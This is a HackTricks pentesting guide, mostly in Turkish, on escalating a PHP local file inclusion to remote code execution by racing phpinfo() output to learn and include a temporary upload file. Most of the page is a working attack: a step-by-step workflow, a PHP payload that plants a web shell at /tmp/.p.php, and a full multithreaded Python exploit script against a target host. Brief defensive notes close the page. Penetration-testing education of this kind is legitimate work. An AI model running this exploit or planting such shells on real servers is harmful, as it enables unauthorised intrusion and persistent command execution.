hacktricks/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

7.8 KiB
Raw Blame History

LFI to RCE via PHPInfo

{{#include ../../banners/hacktricks-training.md}}

Bu tekniği istismar etmek için aşağıdakilerin tümüne ihtiyacınız var:

  • phpinfo() çıktısını yazdıran erişilebilir bir sayfa.
  • Kontrolünüzde bir Local File Inclusion (LFI) primitive'i (ör. kullanıcı girdisinde include/require).
  • PHP dosya yüklemelerinin etkinleştirilmiş olması (file_uploads = On). Herhangi bir PHP scripti RFC1867 multipart yüklemelerini kabul eder ve her yüklenen parçaya geçici bir dosya oluşturur.
  • PHP worker'ın yapılandırılmış upload_tmp_dir'ye (veya varsayılan sistem geçici dizinine) yazabilmesi ve LFI'nizin bu yolu include edebilmesi gerekir.

Klasik write-up ve orijinal PoC:

  • Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
  • Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Orijinal PoC ile ilgili notlar

  • phpinfo() çıktısı HTML olarak kodlandığı için "=>" oku genellikle "=>" şeklinde görünür. Eski scriptleri yeniden kullanıyorsanız, _FILES[tmp_name] değerini ayrıştırırken her iki kodlamayı da aradıklarından emin olun.
  • Yükü (payload, PHP kodunuz), REQ1 (padding dahil phpinfo() endpoint'ine yapılan istek) ve LFIREQ (LFI sink'inize yapılan istek) uyarlamanız gerekir. Bazı hedefler null-byte (%00) terminatöre ihtiyaç duymaz ve modern PHP sürümleri bunu dikkate almaz. LFIREQ'i hedefteki vulnerable sink'e göre ayarlayın.

HTML-encoded oku eşleştirmek için örnek sed (sadece gerçekten eski Python2 PoC'yu kullanıyorsanız):

sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py

Teori

  • When PHP receives a multipart/form-data POST with a file field, it writes the content to a temporary file (upload_tmp_dir or the OS default) and exposes the path in $_FILES['']['tmp_name']. The file is automatically removed at the end of the request unless moved/renamed.
  • Hile, geçici dosya adını öğrenip PHP silmeden önce LFI ile onu include etmektir. phpinfo() $_FILES'i, tmp_name dahil, yazdırır.
  • İstek header'larını/parametrelerini şişirerek (padding) phpinfo() çıktısının isteğin bitmesinden önceki erken parçalarını client'a flush ettirebilirsiniz; böylece tmp_name'i temp dosya hâlâ varken okuyup hemen o path ile LFI'yi tetikleyebilirsiniz.

In Windows the temp files are commonly under something like C:\Windows\Temp\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.

Saldırı iş akışı (adım adım)

  1. Yarışı kaybetmemek için hızlıca persist eden bir shell sağlayan küçük bir PHP payload hazırlayın (bir dosya yazmak genelde reverse shell beklemekten daha hızlıdır):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
  1. Payload içeren bir temp dosya oluşturması için phpinfo() sayfasına doğrudan büyük bir multipart POST gönderin. Erken çıktıyı teşvik etmek için çeşitli header/cookie/param değerlerini ~510KB dolgu ile şişirin. Form alanı adının $_FILES içinde ayrıştıracağınız isimle eşleştiğinden emin olun.

  2. phpinfo() yanıtı hâlâ stream ediliyorken, kısmi gövdeyi ayrıştırıp $_FILES['']['tmp_name'] (HTML-encoded) değerini çıkarın. Tam mutlak yola (ör. /tmp/php3Fz9aB) ulaştığınız anda LFI'nizi tetikleyip o yolu include edin. Eğer include() geçici dosyayı silinmeden önce çalıştırırsa, payload'ınız tetiklenir ve /tmp/.p.php dosyasını bırakır.

  3. Bırakılan dosyayı kullanın: GET /vuln.php?include=/tmp/.p.php&x=id (veya LFI'nizin dahil etmeye izin verdiği başka bir yol) ile komutları güvenilir şekilde çalıştırın.

Tips

  • Yarışı kazanma şansınızı artırmak için birden fazla eşzamanlı worker kullanın.
  • Genellikle işe yarayan dolgu yerleri: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Hedefe göre ayarlayın.
  • Eğer the vulnerable sink bir uzantı ekliyorsa (ör. .php), null byte gerekmez; include() geçici dosya uzantısına bakmaksızın PHP'yi çalıştırır.

Minimal Python 3 PoC (socket-based)

Aşağıdaki snippet kritik bölümlere odaklanır ve legacy Python2 script'ine göre uyarlaması daha kolaydır. HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink) ve PAYLOAD'ı özelleştirin.

#!/usr/bin/env python3
import re, html, socket, threading

HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10

PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")

REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")

LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")

pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")


def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok

if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]

Sorun giderme

  • tmp_name'i hiç görmüyorsanız: phpinfo()'ye gerçekten multipart/form-data ile POST gönderdiğinizden emin olun. phpinfo() sadece bir upload alanı mevcut olduğunda $_FILES'i yazdırır.
  • Çıktı erken flush olmuyor: Padding'i artırın, daha fazla büyük başlık ekleyin veya aynı anda birden fazla istek gönderin. Bazı SAPI'ler/buffer'lar daha büyük eşiklere kadar flush etmeyebilir; buna göre ayarlayın.
  • LFI yolu open_basedir veya chroot tarafından engellendi: LFI'yi izin verilen bir yola yönlendirmelisiniz veya farklı bir LFI2RCE vektörüne geçin.
  • Geçici dizin /tmp değil: phpinfo() tam mutlak tmp_name yolunu yazdırır; LFI'de tam olarak o yolu kullanın.

Savunma notları

  • Üretimde phpinfo()'u asla açığa çıkarmayın. Gerekirse IP/kimlik doğrulama ile sınırlandırın ve kullanımdan sonra kaldırın.
  • Gerekli değilse file_uploads'u devre dışı tutun. Aksi halde upload_tmp_dir'i uygulamada include() ile erişilemeyecek bir yola kısıtlayın ve herhangi bir include/require yolunda sıkı doğrulama uygulayın.
  • Herhangi bir LFI'yi kritik olarak değerlendirin; phpinfo() olmasa bile başka LFI→RCE yolları vardır.

İlgili HackTricks teknikleri

{{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}}

{{#ref}} via-php_session_upload_progress.md {{#endref}}

{{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}}

{{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}}

Referanslar